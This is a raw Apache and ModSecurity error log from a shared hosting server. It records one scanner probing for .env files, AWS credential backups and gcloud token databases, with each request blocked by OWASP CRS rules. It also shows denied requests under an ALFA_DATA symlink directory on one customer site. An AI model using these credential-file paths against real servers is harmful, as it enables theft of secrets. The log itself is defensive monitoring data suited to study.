[Tue Oct 27 06:57:39.461845 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.225.138.57:2888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:57:43.543376 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.218.6.93:22535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:57:55.689715 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.214.238.178:59881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:07.610060 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.10.183:58776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:11.857793 2026] [ssl:error] [pid 3209611:tid 3209611] (5)Input/output error: [client 52.203.68.145:40986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:22.467472 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 165.154.236.229:35678] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:58:31.575531 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 23.21.179.120:40161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:35.547272 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 184.72.84.154:17871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:39.618873 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 50.17.193.48:25858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:46.007395 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auCD5j4THoroSjopRdX_qQAAAAE"]
[Tue Oct 27 06:58:46.007647 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auCD5j4THoroSjopRdX_qQAAAAE"]
[Tue Oct 27 06:58:46.008035 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auCD5j4THoroSjopRdX_qQAAAAE"]
[Tue Oct 27 06:58:46.437360 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auCD5j4THoroSjopRdX_qgAAAAE"]
[Tue Oct 27 06:58:46.437719 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auCD5j4THoroSjopRdX_qgAAAAE"]
[Tue Oct 27 06:58:46.438147 2026] [security2:error] [pid 3209603:tid 3209603] [client 165.154.236.229:47056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auCD5j4THoroSjopRdX_qgAAAAE"]
[Tue Oct 27 06:58:47.427883 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auCD55ekxYBRCO5jo1OHugAAABA"]
[Tue Oct 27 06:58:47.428178 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auCD55ekxYBRCO5jo1OHugAAABA"]
[Tue Oct 27 06:58:47.428570 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auCD55ekxYBRCO5jo1OHugAAABA"]
[Tue Oct 27 06:58:47.696754 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.243.63.52:24297] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:48.622558 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auCD6JekxYBRCO5jo1OHuwAAABA"]
[Tue Oct 27 06:58:48.622804 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auCD6JekxYBRCO5jo1OHuwAAABA"]
[Tue Oct 27 06:58:48.623180 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auCD6JekxYBRCO5jo1OHuwAAABA"]
[Tue Oct 27 06:58:49.949422 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auCD6ZekxYBRCO5jo1OHvAAAABA"]
[Tue Oct 27 06:58:49.949703 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auCD6ZekxYBRCO5jo1OHvAAAABA"]
[Tue Oct 27 06:58:49.950074 2026] [security2:error] [pid 3209611:tid 3209611] [client 165.154.236.229:39196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auCD6ZekxYBRCO5jo1OHvAAAABA"]
[Tue Oct 27 06:58:51.614510 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 50.16.248.61:25536] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:58:57.080138 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xQAAAAM"]
[Tue Oct 27 06:58:57.080490 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xQAAAAM"]
[Tue Oct 27 06:58:57.080835 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xQAAAAM"]
[Tue Oct 27 06:58:57.382728 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xgAAAAM"]
[Tue Oct 27 06:58:57.383081 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xgAAAAM"]
[Tue Oct 27 06:58:57.383455 2026] [security2:error] [pid 3221566:tid 3221566] [client 165.154.236.229:49982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "auCD8SV3rvdaeXJTlLG_xgAAAAM"]
[Tue Oct 27 06:58:59.691698 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.147.182.90:64984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:03.661740 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "auCD9xpfUBgvi1kircRUigAAABg"]
[Tue Oct 27 06:59:03.662103 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "auCD9xpfUBgvi1kircRUigAAABg"]
[Tue Oct 27 06:59:03.662490 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "auCD9xpfUBgvi1kircRUigAAABg"]
[Tue Oct 27 06:59:04.015812 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.225.24.180:64978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:04.083730 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auCD-BpfUBgvi1kircRUiwAAABg"]
[Tue Oct 27 06:59:04.084113 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auCD-BpfUBgvi1kircRUiwAAABg"]
[Tue Oct 27 06:59:04.084461 2026] [security2:error] [pid 3209616:tid 3209616] [client 165.154.236.229:50018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auCD-BpfUBgvi1kircRUiwAAABg"]
[Tue Oct 27 06:59:06.627282 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 85.208.96.206:60714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/cron.reboot
[Tue Oct 27 06:59:07.705227 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.84.147.79:52984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:11.775459 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.71.46.142:26629] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:16.018709 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.193.102.198:38615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:23.770482 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.193.115.232:41443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:35.731693 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.156.124.2:51725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:39.800093 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.231.45.47:18413] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:43.909466 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.225.138.57:62335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:47.762376 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 107.22.208.39:57120] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:51.915396 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 107.22.208.39:51474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:55.720263 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.197.76.210:46143] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:59:58.278355 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 185.191.171.12:15940] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:00.744086 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.213.70.100:43409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:07.866900 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.212.131.50:56126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:11.924223 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 44.205.74.196:64436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:1e/eject
[Tue Oct 27 07:00:13.373896 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 85.208.96.207:16000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__kcrctab_gpl
[Tue Oct 27 07:00:16.022067 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.87.62.248:15030] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:19.091908 2026] [authz_core:error] [pid 3220898:tid 3220898] [client 185.242.226.98:35940] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:00:19.707715 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 52.4.76.156:11886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0C0F:02/subsystem/drivers_probe
[Tue Oct 27 07:00:23.837673 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 107.20.181.148:53877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:32.100466 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.225.81.20:38439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:35.879792 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.224.205.25:50891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:47.872343 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.195.50.71:7115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:00:55.706652 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.227.234.246:42263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:19.871311 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.195.248.30:52214] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:23.896840 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.213.106.226:33910] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:27.736984 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.6.5.24:46023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:36.940679 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 98.82.59.253:35766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:39.765660 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 44.205.120.22:63726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:43.779347 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.86.59.155:2788] AH02013: coalesce failed to read from data bucket
